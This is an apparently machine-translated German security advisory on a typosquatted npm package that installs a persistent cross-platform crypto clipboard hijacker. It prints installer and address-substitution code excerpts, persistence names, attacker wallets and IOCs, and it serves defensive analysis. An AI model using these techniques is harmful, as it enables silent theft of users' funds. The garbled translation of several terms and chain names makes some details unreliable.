TL; DR
Am 21.05.2026 veröffentlichte der npm-Publisher jaggle neun Versionen veröffentlicht (1.0.0 - durch Konsolidierung, 1.0.8) von @jaggle/resizeobserves in einem etwa zweistündigen Zeitfenster.
Das Paket ist ein Tippfehler des legitimen Pakets. @juggle/resize-observer Polyfill – ein weit verbreitetes Paket mit Millionen von wöchentlichen Downloads – enthält jedoch keine eigentliche ResizeObserver-Implementierung.
Stattdessen ist das Paket Postinstallations-Hook Installiert eine gebündelte Python-Payload, registriert Persistenz als plattformnativ aussehenden Laufzeitbroker und setzt einen plattformübergreifenden Clipboard-Hijacker ein, der auf Kryptowährungstransaktionen abzielt.
Linux Persistenz erscheint als python3-dbus-helper, macOS as com.apple.python.runtime und Windows as PyRuntimeBroker.
Die Nutzlast überwacht kontinuierlich die Zwischenablage auf Wallet-Adressen. mehr als 40 Blockchains und ersetzt im Stillen kopierte Adressen durch vom Angreifer kontrollierte Wallets.
Die Malware arbeitet ausschließlich lokal und ohne ausgehende C2-Infrastruktur, wodurch die Zwischenablageersetzung selbst zum Exfiltrationsmechanismus wird.
Der primäre IOC ist der Paketname selbst: @jaggle/resizeobserves — Beachten Sie den weggelassenen Vokal in „jaggle“ und das hinzugefügte „s“ in „resizeobserves“.
Schweregrad: hoch.
Der Angriff: Wie er funktioniert
npm:@jaggle/resizeobserves Sieht auf den ersten Blick nicht nach Malware aus. NPM-Ansicht. Seine README.md ist die wörtliche README-Datei von npm:@juggle/resize-observer — dieselben Codebeispiele, dieselben Nutzungshinweise, dasselbe import { ResizeObserver } from '@juggle/resize-observer' Durchgehend finden sich Verweise. Das Plagiat ist so vollständig, dass jeder, der die Dokumentation überfliegt, annehmen würde, er lese die Dokumentation des Originalpakets.
Das paket.jsonIm Gegensatz dazu ist es spärlich: keine Quelle Feld, ein einzelnes Kasten Eingang, der auf bin/clipboard-guardian.jsUnd eine Nachinstallation Skript, das ausgeführt wird node npm-install.jsDie Beispiele zur „Grundlegenden Verwendung“ in der README-Datei verweisen auf eine JavaScript-Implementierung, die im Archiv nicht vorhanden ist. Das einzige JavaScript im Paket ist das Installationsskript.
Phase 1 – npm postinstall startet eine Python-Nutzlast
npm-install.js ist plattformabhängig. Es findet eine Pip ausführbar entlang eines festen Suchpfades (/usr/bin/pip3, /usr/local/bin/pipzurückfallen auf python3 -m pip), installiert das mitgelieferte Python-Paket aus dem Tarball-Verzeichnis und – unter Linux – lädt es herunter xclip or xsell apt-get, pacmanden DNF falls keines von beiden bereits vorhanden ist:
javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) { run("apt-get install -y xclip 2>/dev/null") || run("pacman -S --noconfirm xclip 2>/dev/null") || run("dnf install -y xclip 2>/dev/null"); } if ( !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) && !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); Die Verwendung von –break-system-packages Dies ist beabsichtigt: Moderne Linux-Distributionen liefern Python mit aktiviertem Marker für extern verwaltete Umgebungen gemäß PEP 668 aus, was standardmäßig die Installation von pip auf der gesamten Website blockiert. Das Installationsskript erzwingt die Installation jedoch.
Das Skript ist auch sudo-fähig. Wenn die laufende Benutzer-ID das Ergebnis eines sudo npm install, so lautet der Text im Skript. SUDO_USER und gibt Geld aus für Passwort erhalten zu finden, die echt Das Benutzerverzeichnis wird dann für die Speicherung der persistenten Dateien verwendet, anstatt in das Benutzerverzeichnis. / RootDie Persistenz gilt pro Benutzer, nicht systemweit.
Phase 2 – Betriebssystemübergreifende Persistenz unter Laufzeitbrokernamen
Nach der Installation des Python-Pakets registriert das Skript auf jedem Betriebssystem einen Autostart-Eintrag unter einem anderen Namen:
- Linux — eine systemd-Benutzereinheit bei ~/.config/systemd/user/python3-dbus-helper.serviceDie Einheit Beschreibung is Python D-Bus Runtime HelperDas Skript versucht außerdem, es über folgende Wege zu aktivieren: systemctl --user enable, indem auf einen manuellen symbolischen Link zurückgegriffen wird unter default.target.wants/ Wenn systemctl fehlschlägt. Bei Ausführung unter sudo wechselt das Skript zu sudo -u systemctl –user, mit XDG_RUNTIME_DIR So einstellen, dass der Benutzerbusaufruf funktioniert.
- macOS — eine LaunchAgent-Plist bei ~/Library/LaunchAgents/com.apple.python.runtime.plist und RunAtLoad=true und KeepAlive=truedann geladen über launchctl load.
- Windows — eine geplante Aufgabe namens PyRuntimeBroker, die beim Anmelden ausgelöst wird, mit einer Ausführungszeitbegrenzung von Null (d. h. ohne Timeout), die über PowerShell registriert ist.
Alle drei Namen wirken auf den ersten Blick glaubwürdig. python3-dbus-helper folgt der Namenskonvention der legitimen Python-D-Bus-Integration auf Linux-Desktops. com.apple.python.runtime ahmt Apples Reverse-DNS-Kennzeichnung für seine eigenen Dienste nach. PyRuntimeBroker spiegelt Windows wider RuntimeBroker.exe — ein echter, signierter Microsoft-Dienst, der Berechtigungsanfragen für UWP-Apps vermittelt. Keiner dieser Dienste ist in diesem Kontext ein echter Apple-/Microsoft-/Python-Dienst, aber ein Verteidiger, der eine kurze visuelle Überprüfung durchführt systemctl –user list-units or Get-ScheduledTask wird wahrscheinlich nicht mit der Wimper zucken.
Phase 3 – Der Klemmbrett-Entführer
Die Python-Payload, installiert unter clipboard_guardian/guardian.py, führt eine Endlosschleife aus, die alle 400 Millisekunden die Systemzwischenablage abfragt. Bei jedem Tick ruft sie den aktuellen Inhalt der Zwischenablage ab. pyperclip.paste() und vergleicht sie mit einer Liste von über vierzig vorkompilierten regulären Ausdrücken, die Wallet-Adressformate für Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain und einige andere abdecken, die in der Standardkonfiguration nur Platzhalter enthalten, aber leer sind (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).
Wenn eine Übereinstimmung gefunden wird, liest das Skript die Adresse des Angreifers für diese Kette aus ~/.config/clipboard-guardian/config.json (oder die entsprechenden Plattformfunktionen) und überschreibt die Zwischenablage mit dem eingefügten Text:
python result = find_address_in_text(current, config) if result is None: time.sleep(POLL_INTERVAL) continue chain, found_addr = result my_addr = config[chain] if found_addr == my_addr: time.sleep(POLL_INTERVAL) continue new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) Es gibt kein Netzwerk-Beacon. Der Clipper sendet keine Verbindung zum Server, registriert keine infizierten Hosts und exfiltriert keine Daten. Die Exfiltration besteht in der Substitution selbst: Wenn ein Nutzer eine Empfängeradresse aus seiner Wallet-Benutzeroberfläche kopiert und in ein Sendedialogfeld einfügt, gehört die eingefügte Adresse dem Betreiber. Die Gelder gehen innerhalb des Netzwerks verloren, ohne dass der Nutzer dies bemerkt.
Was ist hier neu?
Einige Details stechen im Vergleich zur generischen Crypto-Clipper-Vorlage hervor:
1. npm → Python Crossover. Die meisten Crypto-Clipper, die wir in npm sehen, sind reines JavaScript, häufig verschleiert mit _0x Array-Rotation oder eval(atob(…)) stacks. Dieses Beispiel verwendet das npm-Tarball lediglich als Auslieferungshülle für ein Python-Paket – sauberes Python – und überlässt die Installation der Abhängigkeiten pip (pyperclip, putil, Optional setproctitle) deklariert in der gebündelten pyproject.tomlEs gibt keine JavaScript-Verschleierung, die umgangen werden müsste. Der Clipper selbst ist in einfachem, lesbarem Python geschrieben.
2. Tri-OS-Persistenzlabels wurden aufgrund ihrer Plausibilität ausgewählt. Viele plattformübergreifende Installationsprogramme registrieren Persistenz unter generischen Namen (updater.service, helper.plistDieses Beispiel verwendet bewusst Bezeichnungen, die den plattformspezifischen Laufzeit-Brokern der jeweiligen Betriebssysteme ähneln. Die Namensgebung ist der einzige Versuch der Tarnung – es gibt kein Rootkit, keine Benutzerbereichsverschleierung und keine Pfadverschleierung. Die Annahme ist, dass Verteidiger selten Audits durchführen. ~/.config/systemd/user/ und dass ein Dienst namens python3-dbus-helper wird bei einer oberflächlichen Rezension nicht auffallen.
3. Prozesstitel-Verschleierung ist real, aber Anti-Analyse ist latent vorhanden. Die Python-Nutzlast definiert eine _disguise_process() Funktion, die den Prozesstitel festlegt über setproctitle (Linux/macOS) oder SetConsoleTitleW (Windows) — und Main() nennt er es so. Also PS Aux wird zeigen python3-dbus-helper statt python3 …/guardian.pyDasselbe Modul definiert jedoch ein is_monitor_running() Funktion, die bekannte Prozessüberwachungswerkzeuge auflistet (htop, btop(Task-Manager, Aktivitätsmonitor, Prozess-Hacker, Ressourcenmonitor, GNOME-/KDE-/Xfce-/MATE-Systemmonitore usw.) — und Main() Die Funktion wird nie aufgerufen. Die Substitutionsschleife läuft bedingungslos, unabhängig davon, ob der Benutzer einen Prozessmonitor geöffnet hat. Die Funktion ist in der ausgelieferten Version toter Code. Sie ist höchstwahrscheinlich ein Überbleibsel einer früheren Iteration oder ein Gerüst für eine noch nicht implementierte Funktion. In jedem Fall besteht die Schwachstelle der veröffentlichten Payload in der Umbenennung eines Prozessnamens, nicht in der aktiven Umgehung des Monitors.
4. Das mitgelieferte Konfigurationszusammenführungsverhalten. npm-install.js schreibt die Standard-Wallet-Liste nach ~/.config/clipboard-guardian/config.json Und falls bereits eine Konfigurationsdatei existiert, werden alle Schlüssel mit leeren Werten eingefügt. Das bedeutet, dass ein Benutzer, der zuvor infiziert war und die Konfiguration teilweise bereinigt hat – beispielsweise durch das Leeren der Datei –, automatisch in die Konfigurationsdatei aufgenommen wird. Astraleum Der Wert wird bei jeder nachfolgenden Installation eines schädlichen Pakets neu belegt. Die Persistenzdatei wird in keinem Codepfad bereinigt.
| Datum / Uhrzeit (UTC) | Event |
|---|---|
2026-05-21 18:50:32 | @jaggle/resizeobserves@1.0.0 veröffentlicht. |
2026-05-21 19:55:55 | 1.0.1 veröffentlicht — erste Version bei externer Überprüfung als fehlerhaft markiert. |
2026-05-21 19:58:10 | 1.0.2 veröffentlicht. |
2026-05-21 20:05:03 | 1.0.3 veröffentlicht. |
2026-05-21 20:09:24 | 1.0.4 veröffentlicht. |
2026-05-21 20:13:48 | 1.0.5 veröffentlicht. |
2026-05-21 20:41:52 | 1.0.6 veröffentlicht. |
2026-05-21 20:43:56 | 1.0.7 veröffentlicht — fügt ein try/catch Wrapper um den Schritt "wallet-config" in npm-install.js. |
2026-05-21 20:46:15 | 1.0.8 veröffentlicht — Installationsprogramm umbenannt npm-install.js → npm-install.cjs (byteidentischer Inhalt). |
2026-05-22 | Urteile und IOCs wurden veröffentlicht. Die Versionen sind zum Zeitpunkt der Veröffentlichung noch im Register vorhanden (laufend). |
Neun Versionen in einer Stunde und sechsundfünfzig Minuten sind selbst für einen Typosquat schnell. Das Muster ist konsistent mit einem Veröffentlichungs- und Verbrennungskampagne — Die Registry wird unter einem einzigen Handle geflutet, die Erkennung läuft automatisch ab, und nach Entfernung einer Version wird ein neuer Handle verwendet. Die sichtbaren Änderungen im Laufe der Laufzeit sind rein kosmetischer Natur: Version 1.0.1 fügte explizite Änderungen hinzu. /usr/bin/pip3-Pfade im Stil von pip zur Suchliste (sudo-Kompatibilität), 1.0.7 umschloss den Schreibvorgang von wallet-config mit einem try/catch-Block, und 1.0.8 benannte das Installationsprogramm um von . Js zu .cjs wobei der Inhalt byteidentisch bleibt. .cjs Umbenennen von Tracks mit npm-Warnungen über mehrdeutige Modulauflösung in Paketen ohne explizite Angabe "Art" Das Feld könnte ein Versuch sein, Installationsgeräusche zu unterdrücken, die Aufmerksamkeit erregen könnten. Die Python-Payload – der einzige Teil, der tatsächlich Daten stiehlt – ist in allen neun Versionen unverändert.
Kompromissindikatoren
Pakete
| Ökosystem | Verpackung | Versionen | Status |
|---|---|---|---|
| npm | @jaggle/resizeobserves | 1.0.0 - durch Konsolidierung, 1.0.8 | Live zum Zeitpunkt der Veröffentlichung; Entfernung beantragt. |
Dateien & Hashes
| Path | Notizen |
|---|---|
clipboard_guardian/guardian.py(md5 f7935c2c82bc881288611ab6cd634f17) | In allen neun veröffentlichten Versionen identisch (1.0.0 - durch Konsolidierung, 1.0.8Die Nutzlast des Clippers. |
npm-install.js (1.0.0 – 1.0.7)npm-install.cjs (1.0.8) | Persistenzinstallationsprogramm; gleiches End-to-End-Verhalten. 1.0.7's .js und 1.0.8's .cjs sind byteidentisch. |
~/.config/clipboard-guardian/config.json | Linux-Persistenzkonfiguration und Wallet-Bundle. |
~/Library/Application Support/clipboard-guardian/config.json | macOS Persistenzkonfiguration und Wallet-Bundle. |
%APPDATA%\clipboard-guardian\config.json | Windows-Persistenzkonfiguration und Wallet-Bundle. |
~/.config/systemd/user/python3-dbus-helper.service | Linux-Autostart-Persistenz. |
~/Library/LaunchAgents/com.apple.python.runtime.plist | Persistenz des macOS LaunchAgent. |
~/Library/Logs/com.apple.python.runtime.log | macOS stdout/stderr-Protokoll für den Agenten. |
Scheduled Task PyRuntimeBroker | Windows-Autostart-Aufgabe (AtLogOn(keine Auszeit). |
Verhaltensindikatoren
| Signal | Beschreibung |
|---|---|
pip install --break-system-packages von npm postinstall | Erzwingt die Installation von Python auf der gesamten Website und umgeht dabei die Schutzmaßnahmen von PEP 668. |
apt-get install -y xclip (oder Pacman/DNF) | Installiert Zwischenablage-Dienstprogramme unter Linux während der Paketinstallation. |
python3-dbus-helper.service systemd-Benutzereinheit | Persistenz registriert unter einem plausibel aussehenden Laufzeithilfsnamen. |
com.apple.python.runtime StartenAgent | Persistenzlabel außerhalb legitimer Apple-Systempfade. |
PyRuntimeBroker Geplante Aufgabe | Persistenz eines gefälschten Windows-Runtime-Brokers ohne legitime Installationsquelle. |
Python-Prozess mit dem Titel python3-dbus-helper Einfuhr pyperclip und psutil | Verhaltensabweichung zwischen angezeigtem Prozessnamen und importierten Bibliotheken. |
| Die Zwischenablage ändert sich etwa 0.4 Sekunden nach dem Kopieren der Wallet-Adresse. | Signaturverhalten bei der Substitution von Kryptowährungsadressen. |
Angreifer-Wallet-Bundle (Verteidiger-Jagdliste)
Die Wallet-Liste ist fest im Code verankert. npm-install.js und clipboard_guardian/guardian.pyDie Verteidiger können die Liste sowohl als Sperrliste (jede Überweisung von Firmen-Wallets an diese Adressen sollte als verdächtig behandelt werden) als auch als Suchschlüssel (das Vorhandensein einer dieser Zeichenketten in einer nicht authentifizierten Konfigurationsdatei, einem Build-Artefakt oder einem Entwicklerrechner sollte als Infektionsindikator betrachtet werden) verwenden.
Angreifer-Wallet-Bundle
| Kette | Adresse |
|---|---|
| Ethereum / BSC | 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Ronin (EVM) | ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Bitcoin | bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y |
| Bitcoin Cash | bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt |
| Litecoin | ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe |
| Dogecoin | DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy |
| Dash | XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS |
| Zcash | t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M |
| DigiByte | DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH |
| Monero | 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf |
| Solana | DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5 |
| TRON | TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2 |
| TON | UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr |
| Ripple | r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H |
| Tupfen | 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG |
| NAHE | 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364 |
| Kosmos | cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e |
| Osmose | osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t |
| Celestia | celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5 |
| Injektiv | inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh |
| Kava | kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux |
| Harmonie | one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a |
| Erde | terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x |
| Algorand | XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI |
| Stellar | GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE |
| Cardano | addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f |
| MultiverseX | erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0 |
| Aptos | 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e |
| Auf | 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78 |
| Nano | nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn |
| Filecoin | f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui |
| Tezos | tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk |
| Ergo | 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA |
| Hedera | 0.0.10488092 |
Chains mit Regex-Abdeckung, aber leeren Wallet-Slots in der Standardkonfiguration – Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB – werden in dieser Version nicht aktiv ersetzt, aber erkannt. Sie dienen der Überwachung und nicht der Ersetzung.
Attribution und Motivation
Die Kampagne bietet nur eine geringe Grundlage für die Zuordnung von Erfolgsfaktoren. Wir konnten die Identität des Betreibers nicht bestätigen. Folgendes konnten wir erfassen:
- Herausgeber-Metadaten. Das npm-Konto Zackeln gibt seine E-Mail-Adresse an als olgascarlet@deltajohnsons.com. Die Domain deltajohnsons.com Lässt sich keiner verifizierbaren Unternehmensidentität zuordnen. Das npm-Konto weist keine E-Mail-Verifizierung und keine weiteren Merkmale auf. SCM Überprüfung. Es existiert kein zugehöriges öffentliches GitHub-Profil.
- Repository-Feld. Das paket.json trägt keine Quelle Feld. Das legitime npm:@juggle/resize-observer Verweist auf ein echtes GitHub-Repository mit Tausenden von Sternen und aktiven Issues. Das Fehlen eines Repository-Links ist das schnellste visuelle Indiz dafür in der npm-Benutzeroberfläche.
- README-Plagiat. Die README-Datei des Pakets ist die legitime @juggle/resize-observer README Byte für Byte, einschließlich importieren Beispiele, die sich darauf beziehen @juggle/resize-observer Es handelte sich um die Readme-Datei selbst (nicht um das Veröffentlichungspaket). Der Betreiber hat sich nicht einmal die Mühe gemacht, die Importe neu zu schreiben – ein häufiges Anzeichen dafür, dass die Readme-Datei kopiert und nicht angepasst wurde.
- Keine Infrastruktur, auf die man zurückgreifen könnte. Es gibt keinen C2-Endpunkt, keine DNS-Auflösung und keine IP-Adresse. Das schädliche Verhalten ist vollständig im lokalen Clipper und dem fest codierten Wallet-Bundle gekapselt. Dadurch ist ein Pivoting über Domains oder ASNs nicht möglich. Verteidiger, die zwischen Kampagnen wechseln, sollten die Wallets per Hash-Abgleich mit allen zuvor gespeicherten Clippern überprüfen; die Wiederverwendung einer Wallet in verschiedenen Paketen ist die einfachste Möglichkeit, kampagnenübergreifende Verbindungen herzustellen.
- Namenswahl. @jaggle/resizeobserves ist um ein Zeichen von @jonglieren und eine Wendung entfernt von dem bekannten resize-observerDie kombinierte Editierdistanz beträgt zwei Glyphen. Dies ist eine bewusste visuelle Kollision, keine generische Blockierung.
Die Motivation basiert auf dem Payload-Verhalten: reine Monetarisierung durch opportunistische Zwischenablageersetzung. Es findet kein Sammeln von Zugangsdaten, kein Host-Fingerprinting und kein Auslesen von Umgebungsvariablen statt. Dem Betreiber ist es egal, wer das Opfer ist – wichtig ist nur, dass die nächste Überweisung des Opfers auf eine der aufgelisteten Adressen verweist. Die Abdeckung von vierzig Ketten entspricht dem Lotteriemodell in Aktion: Weit streuen und hoffen, dass einmal pro N Installationen eine einzelne wertvolle Zwischenablage ankommt.
Der Betreiber scheint sich nicht um die Entfernung zu kümmern. Die Veröffentlichung von neun Versionen innerhalb von zwei Stunden im selben Bereich deutet auf eine Publish-and-Burn-Strategie hin: Die Registry-Präsenz wird maximiert, bevor die Entfernung eintritt, und dann wird weitergemacht. Wir haben Folgendes nicht beobachtet: @jaggle Die Veröffentlichung erfolgt zum Zeitpunkt der Abfassung unter einem neuen Geltungsbereich, wir gehen jedoch von ähnlichen Geltungsbereichen aus (@jaggie, @jonglieren-, @joggle) in den kommenden Tagen zu erscheinen, falls der Betreiber noch aktiv ist.
Auswirkungen, Trends und was Verteidiger tun sollten
Auswirkungen
Eine Quantifizierung der Auswirkungen in realem Geld ist anhand des aktuellen Datensatzes nicht möglich. Der Clipper schreibt keine Telemetriedaten, und es wurde zum Zeitpunkt des Analysestichtags noch nicht beobachtet, dass die Wallets Ersatztransfers empfangen (eine Nachfolgeprüfung der aufgeführten Blockchains ist geplant). npm:@juggle/resize-observer Die Downloadzahlen liegen im Durchschnitt deutlich im siebenstelligen Bereich pro Woche – ein vielversprechendes Ziel für Typosquatting – und das Schadprogramm war zum Zeitpunkt der Enthüllung weniger als 24 Stunden aktiv, was die betroffene Bevölkerungsgruppe zwar einschränkt, sie aber nicht auf null reduziert.
Der relevante Explosionsradius sind nicht direkte Downloads. @jaggle/resizeobserves — diese sind wahrscheinlich klein. Es handelt sich um **transitive Installationen**: Ein Entwickler fügt das Paket einem Sandbox-Projekt hinzu und führt es aus. npm installierenund dann vergessen, dass der Installations-Hook jemals ausgeführt wurde. Jeder Rechner, der die Nachinstallation verarbeitet hat, verfügt nun über einen benutzerspezifischen Zwischenablage-Hijacker beim automatischen Start, unabhängig davon, ob sich das Projekt noch auf der Festplatte befindet. Das Entfernen des Paketverzeichnisses von node_modules Die Persistenz wird **nicht** entfernt.
Neue Muster
Diese Kampagne veranschaulicht zwei Trends.
npm als Python-Payload-Auslieferungs-Wrapper. Das npm-Tarball ist ein 4-zeiliges Installationsprogramm; der eigentliche Treiber ist Python, das systemweit installiert wird von Pip aus dem gebündelten Verzeichnis. Dies ist nicht neu – wir haben schon früher gesehen, dass npm-Pakete Python entfernen – aber es wird bei Krypto-Clipper-Kampagnen messbar häufiger anzutreffen. Der Vorteil für den Angreifer ist zweifach: Python-Zwischenablagebibliotheken (pyperclip (allen voran) sind sie sauberer und plattformübergreifender als die entsprechenden JavaScript-Lösungen, und Die meisten automatisierten npm-Scanner gewichten JavaScript-Dateien stark und Python-Dateien ebenfalls. .py locker bündeln. Der Nachteil besteht darin, dass die Installation deutlich lauter ist – ein frisches pip installieren ist auf einem Entwicklerrechner, der normalerweise nicht so konfiguriert ist, schwer zu verbergen. pip installieren im npm installieren.
Plattformeigene Namen als einzige Tarnung. Bei einigen neueren Clippern und Small-Payload-Stealern wurde die Code-Verschleierung vollständig aufgegeben; stattdessen werden legitim aussehende Persistenz-Labels verwendet. python3-dbus-helper, com.apple.python.runtime und PyRuntimeBroker Das sind Paradebeispiele – Namen, die ein Verteidiger in einer Liste von vierzig Benutzerdiensten leicht übersieht. Dies ist eine kostengünstige und dauerhafte Form der Tarnung: Die Deaktivierung erfolgt zwar paketweise, die persistenten Dateien bleiben jedoch erhalten, und ein Dienst, der nach einer real wirkenden Plattformkomponente benannt ist, wird nur durch eine explizite Prüfung entfernt.
Was Verteidiger tun sollten
- Überprüfen Sie ~/.config/systemd/user/, ~/Library/LaunchAgents/ und Get-ScheduledTask Möglichkeiten für das Ausgangssignal: Auf Entwicklerrechnern sind die in den IOCs aufgeführten Einträge vorhanden. Das Entfernen des npm-Pakets lässt diese Einträge bestehen; sie müssen manuell entfernt werden.
- Blockieren Sie Überweisungen an die aufgeführten Wallet-Adressen. an den Schnittstellen zwischen Unternehmensfinanzabteilung und DeFi-Wallet, wo eine Adress-Zulassungsliste verfügbar ist.
- Suche nach ~/.config/clipboard-guardian/config.json (und plattformspezifische Entsprechungen) auf allen Entwicklerrechnern. Das Vorhandensein der Datei deutet mit hoher Wahrscheinlichkeit auf eine Infektion hin, unabhängig davon, welche Paketversion sie ausgeliefert hat.
- Suche im Verzeichnis node_modules/ nach clipboard_guardian/guardian.py in Build-Cache-Snapshots, die möglicherweise vor der Entfernung erstellt wurden. Die MD5-Prüfsumme der Datei ist über alle überprüften Versionen hinweg stabil.
- Lockfile-pin @juggle/resize-observer (das legitime Paket), sodass zukünftige Installationen bei einem Tippfehler mit nur einem Zeichen nicht auf etwas anderes aufgelöst werden können, insbesondere in Arbeitsabläufen ohne Sperrdatei wie npx.
- Behandeln Sie jeden npm postinstall-Aufruf, der pip install aufruft. als hochgradig im Aufbau-pipeline Richtlinie. Es gibt keinen legitimen Grund dafür, dass ein npm-Paket bei der Installation pip benötigt – Python-Tools verteilen Python-Tools.
- Suche nach Überwachungsdaten, die mit process_iter() vergleichbar sind, für Prozesse namens python3-dbus-helper, die pyperclip importieren. — die Diskrepanz zwischen den Verkleidungen (D-Bus-Helfer, der eine Zwischenablagebibliothek hält) ist der eindeutigste Verhaltensindikator, den wir haben.
- Die von infizierten Rechnern kopierten Wallet-Adressen sollten regelmäßig geändert werden. Ein Schadprogramm, das die Zwischenablage manipuliert, kompromittiert die Verbindung zwischen der Benutzeroberfläche einer digitalen Geldbörse und dem Ziel des Einfügens. Adressen, die während des Infektionszeitraums kopiert werden, können unbemerkt verändert werden. Alle während dieses Zeitraums gesendeten Nachrichten sollten als potenziell fehlgeleitet betrachtet werden.
Fazit: Hartnäckigkeit überdauert jede Abschaltung. Die Registry wird sie schließlich entfernen. @jaggle/resizeobserves In allen neun Versionen werden die systemd-Unit, der LaunchAgent und die geplante Aufgabe nicht automatisch entfernt.
Referenzen
- @juggle/resize-observer auf npm — das legitime Paket, das dieser Typosquat imitiert; nützlich als Grundlage für das Byte-für-Byte-Plagiat der README-Datei.
- @jaggle/resizeobserves Registry-Metadaten — Veröffentlichung von Zeitstempeln für die neun bösartigen Versionen, die für die forensische Zeitleiste nützlich sind.






